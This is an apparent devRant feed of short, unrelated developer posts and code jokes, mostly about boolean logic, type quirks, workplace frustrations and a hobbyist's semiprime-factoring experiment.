After learning a bit about alife I was able to write
another one. It took some false starts
to understand the problem, but afterward I was able to refactor the problem into a sort of alife that measured and carefully tweaked various variables in the simulator, as the algorithm
explored the paramater space. After a few hours of letting the thing run, it successfully returned a remainder of zero on 41.4% of semiprimes tested.
This is the bad boy right here:
tracks[14]
[15, 2731, 52, 144, 41.4]
As they say, "he ain't there yet, but he got the spirit."
A 'track' here is just a collection of critical values and a fitness score that was found given a few million runs. These variables are used as input to a factoring algorithm, attempting to factor
any number you give it. These parameters tune or configure the algorithm to try slightly different things. After some trial runs, the results are stored in the last entry in the list, and the whole process is repeated with slightly different numbers, ones that have been modified
and mutated so we can explore the space of possible parameters.
Naturally this is a bit of a hodgepodge, but the critical thing is that for each configuration of numbers representing a track (and its results), I chose the lowest fitness of three runs.
Meaning hypothetically theres room for improvement with a tweak of the core algorithm, or even modifications or mutations to the
track variables. I have no clue if this scales up to very large semiprime products, so that would be one of the next steps to test.
Fitness also doesn't account for return speed. Some of these may have a lower overall fitness, but might in fact have a lower basis
(the value of 'i' that needs to be found in order for the algorithm to return rem%a == 0) for correctly factoring a semiprime.
The key thing here is that because all the entries generated here are dependent on in an outer loop that specifies [i] must never be greater than a/4 (for whatever the lowest factor generated in this run is), we can potentially push down the value of i further with some modification.
The entire exercise took 2.1735 billion iterations (3-4 hours, wasn't paying attention) to find this particular configuration of variables for the current algorithm, but as before, I suspect I can probably push the fitness value (percentage of semiprimes covered) higher, either with a few
additional parameters, or a modification of the algorithm itself (with a necessary rerun to find another track of equivalent or greater fitness).
I'm starting to bump up to the limit of my resources, I keep hitting the ceiling in my RAD-style write->test->repeat development loop.
I'm primarily using the limited number of identities I know, my gut intuition, combine with looking at the numbers themselves, to deduce relationships as I improve these and other algorithms, instead of relying strictly on memorizing identities like most mathematicians do.
I'm thinking if I want to keep that rapid write->eval loop I'm gonna have to upgrade, or go to a server environment to keep things snappy.
I did find that "jiggling" the parameters after each trial helped to explore the parameter
space better, so I wrote some methods to do just that. But what I wouldn't mind doing
is taking this a bit of a step further, and writing some code to optimize the variables
of the jiggle method itself, by automating the observation of real-time track fitness,
and discarding those changes that lead to the system tending to find tracks with lower fitness.
I'd also like to break up the entire regime into a training vs test set, but for now
the results are pretty promising.
I knew if I kept researching I'd likely find extensions like this. Of course tested on
billions of semiprimes, instead of simply millions, or tested on very large semiprimes, the
effect might disappear, though the more i've tested, and the larger the numbers I've given it,
the more the effect has become prevalent.
Hitko suggested in the earlier thread, based on a simplification, that the original algorithm
was a tautology, but something told me for a change that I got one correct. Without that initial challenge I might have chalked this up to another false start instead of pushing through and making further breakthroughs.
I'd also like to thank all those who followed along, helped, or cheered on the madness:
In no particular order ,demolishun, scor, root, iiii, karlisk, netikras, fast-nop, hazarth, chonky-quiche, Midnight-shcode, nanobot, c0d4, jilano, kescherrant, electrineer, nomad,
vintprox, sariel, lensflare, jeeper.
The original write up for the ideas behind the concept can be found at:
https://devrant.com/rants/7650612/...
If I left your name out, you better speak up, theres only so many invitations to the orgy.
Firecode already says we're past max capacity!5 -
I have always wondered this: The compiler knows that I need to have semicolon at the end of the line. It complains to me about is missing. Why can't it add that semicolon there by itself?? I mean, clearly it's the smarter one of us two. It knows all those language standards and is able to check them. I know jack shit. Still instead of helping me, it has to be a bitch and just nag.
Also, what's this business with "true" or "false"? How the hell should I know? Most of the time I am like "maybe". I want code like this:
if (myVar =~ true)
function1()
else sometimes
function2()
or maybe
function3()
or instead usually
function4()
if (error = true)
fix it9 -
How to handle a manager who manages to find fault in everything you do ... Butt fails to acknowledge any of the good work
It's not like the feedbacks from his end are valuable , often times they are illogical and based on false assumptions
Is the behaviour from manager toxic ?
I end up getting uneasy everytime I hear a false superficial backhanded sarcastic remark on how and what I should have done differently
And when I really deliver something critical i don't even get an acknowledgement ... forget about compliment
Maybe I don't have a thick skin , maybe I'm taking the I'm a victim mentality here ... Maybe I should view everything with a more positive outlook ... but I really doubt if I'm at fault here
And I'm not sure if he's like this with other guys , but I suspect I'm the only one who's being treated like this ..
Should I "escalate" this to someone?2 -
I want to use Babel or Typescript for the first time. Because as I read it is the way to go, when compressing JavaScript and make it browser compatible. If that's false, please correct me.
There's a question I've got about this. Right now I am using a PHP router file dealing with requests and selecting the right .js file and compresses it. So I can write like modular JavaScript functions and include them when needed.
My question is, what do I have to change in my setup to switch to the mentioned technologies?11 -
define myDay() {
if (time==0600) {
while (sleeping == true) {
xiaomi.miBand.vibrate();
}
}
morningCoffee = new coffee("Strong");
sleep(120); // Gotta let that cool
while (morningCoffee.state.empty == false) {
morningCoffee.drink();
}
while (time > 0630) {
putFaceOn();
}
leaveForStation();
while (train.overground.atStation() == false) devRant.scroll;
getOnTrain();
while (train.overgrond.atStation("Kenton") == false) devRany.scroll;
getOffTrain();
getBus();
while (getToUni == false) devRant.writePost.wk4;
devRant.uploadPost.wk4;
while (time > 1300) project.workHard();
while (time > 1400) lunch.obliterate();
while (time > 2100) project.meetDeadline();
walkToFlat();
goToBed();
}3 -
!rant
Started Data Science course on big data universuty. The outcomes are heavily dependent on domain experts/stakeholders!!! Since all the answers are false positives and need to decide what make sense with the help of domain experts. And most of the Data scientists are not from programming background, they are domain experts who turned into Data scientists. Thoughts if I should continue with learning big data/data science, knowing that I have knowledge in information retrieval and search engines. -
TL;DR: There was a Steam bug and I fixed it locally.
Some months ago, Steam had the problem, that if you tried to add anything from the Steam Workshop to a collection, you would get an error like "Process failed: 2", while it was loading the collection list.
I realized, that it would work, but there was a bug in the JS (Watched the network tab in chrome while trying to add to collection). I searched after "Process failed" in each js file and after 30 seconds I found the buggy if. It said something like
if (json.success != 2) {
//do error
} else {
//show list
}
After I changed that if condition to
if (false)...
it worked perfectly, although it would make problems if there would be a server side error.2 -
Do you prefer?
var foo = true;
if (some condition){
var foo = false;
}
Or
if (some condition){
var foo = false;
}
else{
var foo = true;
}9 -
How do you deal with relatively complex Boolean logic requirements?
Here's a simple example, of which I missed 50% of the cases because it was non-intuitive to me:
A year is a leap year if:
- it is divisible by 4
- except it is also divisible by 100
- unless it is also divisible by 400
To my intuition, the logic tree is as follows:
if (year % 4 == 0) -> true
if (year % 100 == 0) -> false
if (year % 400 == 0) -> true
so I ended up with 3 cases and I initially missed all the others until I started coding.
The full solution is:
if(year % 4 === 0) {
if(year % 100 === 0) {
if(year % 400 === 0) {
true
} else {
false
}
false
} else {
true
}
true
} else {
false
}
}
I don't like it when I don't immediately see all logic paths.17 -
Built a Svelte app year ago and it's broken today.
This is not the case with Windows. You can still run a app built on 1999 today.
Opened an issue on their repo requesting that they should add backwards compatibility.
No later than 5 seconds. It got closed and locked with this comment,
"Welcome to development when you don't write your entire stack yourself by hand.
Please open helpful bug reports or don't open any at all."
This is what every FOSS project got as defense. They think since they work for free, they can do what the fuck they want.
The defense is false because they put their OSS project on their resume and in return they get hired for full time work or consulting.
I fucking sue you Svelte if I had money to hire expensive lawyers. This time you are just lucky.38 -
Someone tell me should I just give up because I'm stupid and simple shit escapes me or tell me bro calm the fuck down the guy is full of shit...
Dude says he can't verify 3rd statement in a nested IF - elseif logic because the third check for a false condition is the True condition in the first 2 statements.
So
If (mode) = manual and then
Data(g) /= Status1
Or else Data(g) = Invalid
Then
Do this thing that sounds cool
Elsif
Data(g) = Status1
And then Data(g) /= Invalid
Then
Do something else equally cool
Elsif (mode) /= manual
and then Data(g) /= Invalid
and then Data(g) /= Status1
Then
Do some less cool stuff
end if4 -
What do people like more?
if(condition){
return true;
} else{
return false;
}
Or just
if(condition){
return true;
}
return false;7 -
import datetime as dt
while(True):
time_left = 24
work_hours = 8
trained_today = False
while(work_hours>0):
do_work()
listen_to_music()
browse_interesting_feeds()
work_hours -= 1
time_left -= 1
while(time_left>0):
if trained_today == False:
train()
trained_today = True
eat()
if dt.datetime.now().hour > 23:
time_left -= time_left -
Not really random, still Dev related but still!
I'm working on a few large games at the moment, I have a habit of trying to build massive world's that feel lived in and organic, obviously I never finish them because I obsessed over the tiniest things.
So to try and help I thought of an idea, a detective game where you investigate 1 single murder and have one house you can look through, but you have to piece together what happened organically from a clue and false path filled household.
Just want some other opinions on it and whether it sounds alright, or if you have something to add to it? ¯\_(ツ)_/¯6 -
You are not cool for flexing you have linux.
Seriously I am so sick and tired of people thinking linux is a big deal, it's not. If you really need to use linux us it, otherwise just stay on windows or use a virtual machine. The sheer fucking number of people who made their entire machine unbootable or accidentally corrupted their entire install just cause they wanted to join the linux cool club. STOP TELLING PEOPLE TO USE LINUX IF THEY DON'T NEED IT. "Oh but microsoft is stealing your data :3" THEY'LL DO THAT ANYWAY WHEN YOU BOOT UP YOUR BRAND NEW FRESH ARCH INSTALL AND GO paru -S google-chrome. This isn't to say windows 11 isn't horrible, it's abysmal, but people prefer it? And it's okay. I personally hate the idea of my data being collected, and it's okay. Some people don't give a fuck. AND. IT'S. OKAY. You don't need to sit next to a windows user and go "Oh my god XD is that windows!1!!111 are you actually using windows? are you serious :/" It's detrimental, it scares off newer users, it creates a false assumption that linux is where all the cool awesome developers go. Most of my friends who are incredible developers and make insane stuff stay on windows, and some of my most useless friends spend twelve hours trying to install LFS just to get the flexing rights. Stop. STop. STOP. If your friend likes not wasting his time and likes his setup with his windows 11 and his microsoft trackers and his 99.9% RAM Usage, LET. HIM. BE.
Thank you6 -
So at one point I worked on an inherited project that had the worst code I've ever seen. I mean bad, so bad there may no quantifiable measure that can accurately convey how bad. We ended up naming the thing 'the hydra', cause it had a million issues and they just kept growing as we fixed things. To my point, in C++ they implemented their own primitive type Boolean32 as a signed int32 pointer. If that wasn't enough they used it as an octal bit mask. They also switch the value using logical and / or between 2 numbers, 037777777777 and 000000000001. So essentially they only switch this value to 1 or -1 and end up comparing it to their own const true or false. In c++ any value not 0 is == true...apparently not in this code.undefined octals why me? why would you do that? terrible code awful code c++ coding no designs bad code
-
Anyone who codes like this?
if(IsThereAValue($("#txt_term").val(), true) == false)
{
}
this is too much!!! damn! complexity!!!
PS. He is my senior developer.5 -
That moment you setup 17 domains on sparkpost as a email delivery system
make your account secure with 2 factor authentication like a good infoSec enthusiast
Go on with your life
Having a Phone crash but nothing to worry because you made them backupz
Restore backupz
once again go on with your happy life.
Having to setup a different bounce action on sparkpost
logging in to sparkpost to make the adjustments
opening google authenticator
realising the backup you restored was before you added the sparkpost entry
mailing sparkpost asking to deactivate 2factor authentication
Having them tell me that they have no access to Google authenticator so they can't help me and all they can do for me is delete my account if i answer their 7569357 questions that i entered a year ago ..
--
You have access to your database yes ? You can delete my account but you can't adjust a fcking Boolean column from true to false? #@?#&!
Why even offer a feature where you have apparently no control over. Stuff like this happens all the time and almost no one saves that fcking authenticator secret.
Make people use authenticators to keep the hackers out, forces them out instead.4 -
Let me rant! I don’t usually do this but this is just frustrating and draining. Please tell me if im wrong. We have authentication that needs to be refactored. I was assigned on this issue. Im a junior btw. I also attached an image of my proposals. The issue of the old way of our signup process is that when validation fails they will keep on accepting the TaC (terms and conditions) and on our create method we have the validation and creating the user. Basically if User.create(user_params) create else throw invalid end. (Imma take a photo later and show it you)which needs to be refactored. So I created a proposal 1. On my first proposal I could create a middleware to check if the body is correct or valid if its valid show the TaCs and if they accept thats the moment the user is created. There is also additional delete user because DoE told me that we dont need middlewares we have before and after hooks! (I wanted to puke here clearly he doesn’t understand the request and response cycle and separation of concerns) anyway, so if middleware is not accepted then i have to delete the user if they dont accept the TaCs. Proposal 2. If they dont want me to touch the create method i could just show the TaCs and if they dont accept then redirect if they do then show form and do the sign process.
This whats weird (weird because he has a lot of experience and has master or phd) he proposes to create a method called validate (this method is in the same controller as the create, i think hes thinking about hooks) call it first and if it fails then response with error and dont save user, heres the a weird part again he wants me to manually check on each entity. Like User.find_by_email(bs@g.com) something like that and on my mind wtf. Isnt it the same as User.create(user_params) because this will return false if paras are invalid?? (I might be wrong here)
This is not the first time though He proposes solutions that are complex, inefficient, unmaintainable. And i think he doesnt understand ruby on rails or webdev in particular. This the first time i complained or I never complained because im thinking im just a junior and he hs more experience and has a higher degree. This is mot the case here though. I guess not all person who has a higher degree are right. To all self thought and bachelors im telling you not all people who went to prestige university and has a higher degree are correct and right all the time. Anyway ill continue later and do what he says. Let me know if im wrong please. Thanks4 -
If(person.getState().equals("Texas")){
person.setCanDrive(false);
}
Like I was just driving to my class and so many people were driving like maniacs. So frustrating >. <3 -
The second you write `else { return false; }` you should lose the privilege of calling yourselves a dev, from then on. Period.
Example,
if(condition) {
// ...some code
return true;
} else {
return false;
}13 -
Has anyone else actually *used* mutation testing at all?
Heard a lot about it recently - it seems all the rage amongst the bloggers, but I'm generally always very sceptical of things touted as the "latest hotness" (my thoughts on blockchain for instance are well known.)
So I went ahead and whacked http://pitest.org/ into one of my more recent pet projects to see if it offered anything decent. Surprisingly, it did - in particular it caught a number of places where switching "<" for "<=" and similar had no affect on the pass / fail rate (indicating the tests should be better.) There were a *few* false positives, and some which were borderline useful, but as a whole I'd say it was a worthwhile addition.
Curious as to if anyone else has had the same experience?1 -
Not sure if other programming languages class a Boolean as an integer value buuuuuuut...
The amount of times I've seen people do code such as...
if(value == true) {
variable = "blah blah";
} else if(value == false) {
variable = "blah";
}
Instead of doing a simple 1D array and going...
variable = strings[value];
It drives me crazy, such a small thing that has no real benefit but... Ugh... Whyyyyyyy3 -
Javascript in a nutshell:
Function in a teaching example for a framework, checks for validity of input, dev returns null instead of false when it isn't. In another place, uses !variable to check if variable is 0.
fucking follow the semantics of the code you write cunt why do you have to do this why is it so hard to write variable !== 0
I'm sorry, this really triggers me.
https://media.giphy.com/media/... -
So first rant, here goes weirdness, and also lengthy rant
So in my company we have the hr and accounting managed by the same person which also deals with all things employee related and she had a need for a way to extract a birthday from, what is in our country the personal identification number, things go great i get a formula that performs parts of the magic up to the point where the first digit of the number dictates the gender and century to be used when forming the full year, mind you only the last two digits of the year are in plain within the id number so i thy a number of ideas. After bashing around google sheets for a while ( i've got open office installed and formulas don't export well to the excel that person uses but google sheets does so i built it there).
First idea : make a few conditionals to check for the value so we have 1 and 2 for 19th century, 3 and 4 for 18th century , 5 and 6 for 20th so i go ahead and write my conditions and they fail, all evaluates to false, it cascades through the else variants up to the last one so i'm wondering if the "if" itself doesn't support the or operator, seems it does, next i think it's the bloody condition written wrong so i reevaluate my logic in php in a test script, it works as intended, then i think ok not the right function called, let's see the docs, docs confirm i'm doing it right but what was wrong was the way i was getting that first number, using left seems to produce a string although the base thing is a number, now i start searching how i can cast it, like you would normaly do when the data type is fried, value function appears to be the solution but it isn't working....now i'm thinking "ok so i have a value and different things to print out so let's look for a switch, maybe it can understand that" switch function found under the form of choice, i get it sorted but am stuck wondering why the heck was the if and value combination not working.
Simple answer to that : value doesn't work well with function results, a known bug listed by someone in a comment, a comment i have failed to read for about 45 minutes of trying to understand.
All in all it worked well for the person asking for it so it's nice. -
Python will occasionally forget how to do comparisons, so a statement like "if x == y:" will sometimes be false even if x == y. And then when someone else tries it or you reboot, it's all fine.5
-
A bit longer rant, somehow triggered by the end of this rant:
https://devrant.com/rants/7145365/...
The discussion revolved around strpos returning false or a positive integer.
Instead of an Option or a Exception.
I said I'm a sucker for exception, but I'm also a sucker for typing.
Which is something most languages lack - except the lower level ones like C / C++.
I always loved languages which have unsigned and signed types.
There, I said it... :) I know that signed / unsigned is controversial, Google immediately leads to blog entries screaming bloody murder because unsigned can overflow – or underflow, if someone tries to use a -1on an unsigned integer.
Note that my love is only meant for numeric types, unsigned / signed char is ... a whole can of insanity on its own.
https://phoronix.com/news/...
If you wanna know more.
Back to the strpos problem, now with my secret love exposed:
strpos works on a single string, where a string is a sequence of chars starting with 0.
0 is a positive integer.
In case the needle (char that should be looked up in the string) cannot be found in the haystack (the string), PHP returns "false".
This leads to the necessity of explicitly checking the type as "0" (beginning of string, a string position)... So strpos !== false.
PHP interprets 0 as false, any other integer value is true.
In the discussion, the suggestion came up to return -1 if a value could not be found – which some languages do, for example Scala.
Now I said I have a love for unsigned & signed integers vs. just signed integers...
Can you guess why the -1 bothers me very much?
Because it's a value that's illogical.
A search in a sequence that is indexed by 0 can only have 0 or more elements, not less than zero elements.
-1 refers to a position in the sequence that *cannot* exist.
Which is - of course - the reason -1 was chosen as a return value for false, but it still annoys me.
An unsigned integer with an exception would be my love as a return value, mostly because an unsigned integer represents the return value *best*. After all, the sequence can only return a value of 0 ... X.
*sigh*
Yes, I know I'm weird.
I'm also missing unsigned in Postgres, which was more or less not implemented because it's not in the SQL standard...
*sob*29 -
if (thingYouNeed.exists == false)
developer.make(thingYouNeed,
function(err,success) {
if(!err) thingYouNeed.exists = true;
})3 -
After a few months of working in an actually well coded project, I'm back in the one where I find abominations like this every day:
boolean result=false;
<do stuff>
if(<condition>){
<do stuff>
return true;
}
<do stuff>
return result;
Do they even read their code before submitting? -
PHP are you freaking kidding me right now? Why are you forcing me to write ugly and meaningless code like this?
Today I just learned that boolval("false") will return true.
I'd deffo expect this from casting operators, but not from a function which even has val inside of its name.
What purpose is to have functions like these in language if they just serve as plain wrapper for casting operators8 -
def haveNiceDay(){
while code.works():
if frustration == true:
game.play()
food.eat()
keepCoding()
if error.notResolved():
while giveup!= false:
screen.stare()
} -
The nightmare of all AI users is when this shows up: https://devrant.molodetz.nl/Screens...
The content what it said was even worse. Of course, it doesn't have the ability to do it. But imagine if it had, it was a false positive.5 -
if (in_array($needle, $haystack)){
return true;
}else{
return false;
}
# yeah, I did it.... wtf brain!!1 -
Ok. What the flying ligardshit?! Write down the most ridiculous sentences you had been given when you were dismissed.
Today mine was:
They: Nothing got developed till deadline.
Me: *surprised* Okay maybe I overlooked something, please point out what wasn't
They: This and that project was due tomorrow.
Me: *blankly & calmly* You mean the projects that has been deployed on last friday and wednesday?!
They: *still with pokerface* Okay that is not the real reason. The real reason is we get this type of behaviour from you a lot.
Me: *dead seriously* You mean I have to tolerate your false accusations and bow my head with gratitude?!
They: *angryly* See that is what we are talking about, we don't feal like we have chemistry?
Chemistry?! 'The fuck are you talking about??? Come on!! What the goose shit you think we are some high school teenagers in their first month of relationship?! "Family" my ass!
Okay I know it is much easier to dismiss somebody without having to pay the end-of-year premium but come on, don't assume I am a braindead idiot like you!!!
Things ahead:
- Callback the recent contacted companies
- Update LinkedIn
- Find another job
- Find a way to blacklist companies preveting anybody else falling for cimpanies like this one
- If none create one
- If found / Upon creating put them on
If you happen to be able to help me with one/some/all of the above, let me know2 -
When elements of an union are distinguished by a boolean, VSCode's Typescript plugin can only do type elimination if I branch by "== true" and not if I just branch by the boolean.
This is because Typescript treats booleans as an union of the constants "true" and "false", and compile-time elimination can only be done if I use syntax that makes sense with unions. Logical evaluation, for some reason, doesn't.
The fact that this issue can even appear is deeply concerning.1 -
if($scope.soup && $scope.checkout.broken){
$scope.fixCheckout()
};
$scope.fixCheckout = function() {
$scope.accrueTechnicalDebt = true;
$scope.writeDisgustingCode = true;
$scope.feelsGood = false;
$scope.maintainable = false;
}; -
dev = true
rant = false
post = " hey guys, I wanna make a photography portfolio website for my brother.
I want to change my habitual stack and go in uncharted seas.
My habitual stack : Nodejs, angularjs/Angular, bootstrap/foundation.
This portfolio should be SEO ready and lightweight.
Thank you if you have some ideas so I can enjoy learn a new stack 😃"
return post2 -
i am terrible at using swagger autogenerated code, yaml and swagger files
dont fucking false positive pass, tell me if theres indenting wrong
also why the fuck wont you generate the code im trying to get you to generate
i fucking hate you so much, ive done this once before what am i doing wrong now -
I've build a gaming station with a raspberry pi for a supermarket. I was running a quiz i also created with red blinking lights for false and green blinking lights right answers. Featured by cool 8-bit retro gaming sound and score printing to win a small prize if you answered everything correctly. It was so much fun building it and testing it in the office 😁
-
So I finally decided to take the plunge to dualboot my Windows 10, since I'm using Linux applications more and more than Windows applications.
I just had to choose Fedora out of all distros. It sort of worked. When I tried to install, it won't get pass the login screen (kept getting blanks). I rebooted several times and went with "Troubleshooting" and it got me passed the login screen and proceeded to install at the lowest graphical settings, i.e. 800x600
So far so good, I was able to operate stuff that I wanted but I just can't stand working in a really low resolution. My guess is probably incompatibility with nVidia driver. Tried everything, rpmfusion, the negativo17 repo, the current official fedora repo, the If-Not-True-Then-False guide, and bumblebee. None works.
Makes no sense at all. Luckily my Win10 still works. Now I'm stuck on whether to continue trying to get Fedora distro up or try a different distro and start back from square one...3 -
I feel like internet is becoming shit. At first if we googled about something, we can have proper knowledge about it. But now because some bloggers need web traffic, they post even false information about something. Second, If we want to learn something we have to pay for everything we want to know. Ofcourse still some people still teach for free, but most of the time google shows us Udemy, Coursera like that. What happened to gain knowledge through internet?
-
Not a rant but a question/style.
What do you prefer and why?:
if(condition)
vs
if (condition == true)
and
if (!condition)
vs
if (condition == false)
vs
if (condition != true)17 -
Where to start, maybe from string.
Empty string conditions and string comparison.
if “”: - python
“” == false - javascript
.equals() - java1 -
This is really a rant:
The company i work for uses the wso2 enterprise integrator for message transformation and so on.
I am in charge to get this thing to work.
And i am so annyoid about this fuc**** crap software, there price it as lightweight, fast and easy to use?
EASY TO USE?????
Who the fuck there had the IDEA to use XML as configuration files.
They have kinda no documentation, even searching the web makes no sense because you only can find there crap documentation, once i searched after another problem and found my own Stackowerflow question, which had a totally different term!!
And i guess they are making no testing, i mean if i want to edit a api and i set one bracket false or so, than if i click on save, i am doomed, BECAUSE IT DELETES THE CHANGES WITHOUT WARNING ME, i mean srsly are you kidding me wso2???1 -
Sweet Zombie NullFuckingPointerException...
New Rule: When creating an API (I'm looking at you, Java), designers must include a boolean flag in the parameter list of any method which throws a NullPointerException.
If TRUE, this means that a NULL result is non-trivial and the method should therefore THROW an NPE.
If set to FALSE, this means that NULL is completely f*cking trivial so whenever there's a NULL result, just instantiate a new instance of the return type and return that, 'cause that's what was gonna happen in the catch block of the NPE anyways.2 -
{
while(time_to_exams > 0){
me.shouldBeLearning(true);
time_to_exams--;
}
public void shouldBeLearning(boolean bool){
if(bool){
should_be_learning = false;
waste_time_on_DevRant = true;
} else {
waste_time_on_DevRant = true;
}
}
} -
so my mom said that if i try to live away from her, she will not be able to live life normally. if she gets even a false news about me or related to me, she will have a heart attack/ commit suicide.
hello new world. I am just a visitor to you and your opportunities of happiness, i will be going away to my mom's lap after this to remain sad, useless poor and unhappy9 -
Interview Question:
Are there other options to make this go any shorter?
if (john == doe == max == paul == stella == false)
return "Not Okay";
return "Okay";
I did...
return (!john && !doe && !max && !paul && !stella) ? "Not Okay" : "Okay";
That was the shortest i could come up with... Maybe there is something shorter, dunno.6 -
I solved the Monty Hall problem for once and for all! Suckers. Of course a computer can't decide if switching or keeping is the best choice. Even wikipedia states that switching wins. NEVER. And even if that would be the case, it's pure how you arranged the labels to determine which one wins. If everyone actually wrote their own code, the conclusion wouldn't be what it is now. Many people probably just changed their code until that false result comes out or had it at the beginning caused by lack of experience.
Here is a GOOD implementation: https://pastebin.com/dRiTWQpw
It gives a 50%-ish chance on a choice like mathematically is correct.
The problem is in the computer simulations: using > or < to check which choice has won. But actually, often no one has won (it's a tie) after running it x times so you have to filter out the ==.
Then, you get the right results. My first version also had a bias, but i refused to accept it and did spent 45 minutes on the code instead of 15. This is the end result. And no, with double ?: in a printf statement i don't expect a prize.
It was a lot of fun actually, did not expect this from such stupid 'problem'35 -
If you are reading Coding for dummies book to learn software you are doing it alllll wrong lol ... Please while I appreciate your effort and willingness to try but no.. just no.. put the book down that book won’t teach you shit.
Same thing if you are one of those folks who got conned into believe “you can land a programming gig by signing up and paying for this 6 week course!!” Bullshit.. I like your initiative but there’s soooooo much more than that and it won’t even touch the surface. You will end up believing a false reality that you think you know what your doing but you don’t know how much you really don’t know. But like it doesn’t even scratch the surface don’t even attempt Get a job after those courses or coding for dummies book. You will be laughed at..
In fact I almost want to buy the coding for dummies book to have it in my collection of software books to not read. Which I will say is very small. There’s more really good books than really bad.. and obviously plenty of average. But the bell curve lands above the better half.7 -
In reply to this:
https://devrant.com/rants/260590/...
As a senior dev for over 13 years, I will break you point by point in the most realistic way, so you don't get in troubles for following internet boring paternal advices.
1) False. Being go-ahead, pro active and prone to learn is a good thing in most places.
This doesn't mean being an entitled asshole, but standing for yourself (don't get put down and used to do shit for others, or it will become the routine) and show good learning and exploration skills will definitely put you under a good light.
2)False. 2 things to check:
a) if the guy over you is an entitled asshole who thinkg you're going to steal his job and will try to sabotage you or not answer acting annoyed, or if it's a cool guy.
Choose wisely your questions and put them all togheter. Don't be that guy that fires questions in crumbles, one every 2 minutes.
Put them togheter and try to work out the obvious and what can be done through google or chatgpt by yourself. Then collect the hard ones for the experienced guy and ask them all at once. He's been put over you to help you.
3) Idiotic. NO.
Working code = good code. It's always been like this.
If you follow this idiotic advice you will annoy everyone.
The thing about renaming variables and crap it's called a standard. Most company will have a document with one if there is a need to follow it.
What remains are common programming conventions that everyone mostly follows.
Else you'll end up getting crazy at all the rules and small conventions and will start to do messy hot spaghetti code filled with syntactic sugar that no one likes, included yourself.
4)LMAO.
This mostly never happens (seniors send to juniors) in real life.
But it happens on the other side (junior code gets reviewed).
He must either be a crap programmer or stopped learning years ago(?)
5) This is absolutely true.
Programming is not a forgiving job if you're not honest.
Covering up mess in programming is mostly impossible, expecially when git and all that stuff with your name on it came out.
Be honest, admit your faults, ask if not sure.
Code is code, if it's wrong it won't work magically and sooner or later it will fire back.
6)Somewhat true, but it all depends on the deadline you're given and the complexity of the logic to be implemented.
If very complex you have to divide an conquer (usually)
7)LMAO, this one might be true for multi billionaire companies with thousand of employees.
Normal companies rarely do that because it's a waste of time. They pass knowledge by word or with concise documentation that later gets explained by seniors or TL's to the devs.
Try following this and as a junior:
1) you will have written shit docs and wasted time
2) you will come up to the devs at the deadline with half of the code done and them saying wtf who told you to do that
8) See? What an oxymoron ahahah
Look at point 3 of this guy than re-read this.
This alone should prove you that I'm right for everything else.
9) Half true.
Watch your ass. You need to understand what you're going to put yourself into.
If it's some unknown deep sea shit, with no documentations whatsoever you will end up with a sore ass and pulling your hair finding crumbles of code that make that unknown thing work.
Believe me and not him.
I have been there. To say one, I've been doing some high level project for using powerful RFID reading antennas for doing large warehouse inventory with high speed (instead of counting manually or scanning pieces, the put rfid tags inside the boxes and pass a scanner between shelves, reading all the inventory).
I had to deal with all the RFID protocol, the math behind radio waves (yes, knowing it will let you configure them more efficently and avoid conflicts), know a whole new SDK from them I've never used again (useless knowledge = time wasted and no resume worthy material for your next job) and so on.
It was a grueling, hair pulling, horrible experience that brought me nothing in return execpt the skill of accepting and embracing the pain of such experiences.
And I can go on with other stories. Horror Stories.
If it's something that is doable but it's complex, hard or just interesting, go for it. Expecially if the tech involved is something marketable.
10) Yes, and you can't stop learning, expecially now that AI will start to cover more and more of our work.4 -
I'm writing a Python script to manipulate Excel files, I'm using the openpyxl module, does anybody know how can I check if a user input is in a column, I've done this:
newItem = input("What is the new item?")
for itemChecker in inventory["A"]:
>>>>if itemChecker == newItem:
>>>>>>>>item_on = True
>>>>if itemChecker != itemNuevo:
>>>>>>>>item_on = False
if the user input (newItem) is in the "A" column of the variable assigned to an Excel file called "inventory", the variable "item_on" is set equal to True, if the user input isn't in the "A" column, "item_on" is set equal to False
what am I doing wrong, I'm not getting any errors but it always says that the user input isn't at the "A" column (sets "item_on" equal to False) even when I know it is1 -
Okay I always found these js weirdnesses that you see in memes more or less logical if you think about it, but so far I could not find any logic behind this:
true&&undefined
>undefined
false&&undefined
>false
can anyone explain wtf they thought about there? undefined is falsy so why not just convert it to boolean implicitly!4 -
$TheForce = 'Impostor Syndrome';
$incompetent = true;
while ($incompetent) {
echo <<<EOT
I am one with $TheForce. $TheForce is with me.
EOT;
if(get_training($result) > 9000) $incompetent = false;
} -
Oh look at it stupid technomusings.
Context:
- You have a sequence of N-byte-wide values.
- Each value is unique.
- You XOR them all together into an N-byte-wide key.
- Just dump the key into a list somewhere.
Problem:
- A new value sequence is input.
- Same rules: all values are unique and fixed-size.
- You XOR them all together into a key.
- You walk the list of keys and check them for equality against the new one.
The same sequence of values, regardless of order, would ((supposedly)) always give you the same key. I used this years ago, for a renderer that used indexed colors, to see if I had to make a new palette or not when saving/loading textures: the image format had the key on the header.
It worked, but I was using a __very__ limited value range, cursed 8-bit YUV lossy fuckery; never bothered investigating the idea any further.
So, question:
- Is there any specific situation in which you get a false positive?
- Is there any specific situation in which you get a false negative?
My brain wants to say 'yes' to both because I'm privy to the mystical truth that my methods invariably fall on the idiot side of the spectrum. But my lazy testing keeps saying 'no, you dumbass'.
So who's wrong?
brb gon hit that crack~1 -
TypeScript types are fun. Problem is: the check is compile-time only.
I just wasted an hour not understanding that an integer passed from command line was actually getting transmitted as a string. The library, where that value landed as parameter, happily ignored the non-matching type and worked as if the value has not been set at all!
Dear library maintainer, please enforce your parameter types! Throw an error right into my face saying I shall not pass anything but an integer! Don't just continue to work to produce false output correctly. Thank you!
Dear TypeScript, I really want type checks on runtime.
Dear JavaScript: Why did you ever think loose types were a good idea? (And I say that as a PHP developer as well.)2 -
Why don't we change all conditionals from if to as long as?
as long as true:
as long as false:
Is it not beautiful?8 -
Foreach (DevrantUser user in devRantUsers)
{
Bool hundredPlusPlus = false;
While (user.hundredPlusPlus == false)
{
Rant myRant = new Rant(awesomeness);
user.postRant(myRant);
If(myRant.plusPlus >= 100)
hundredPlusPlus = true;
}
}3 -
In connection to my previous rant :
https://devrant.com/rants/1550299/...
Now it directly jumped to 100 %. Great job Microsoft
if things.ready() is False :
status=1%
else:
status = 100% -
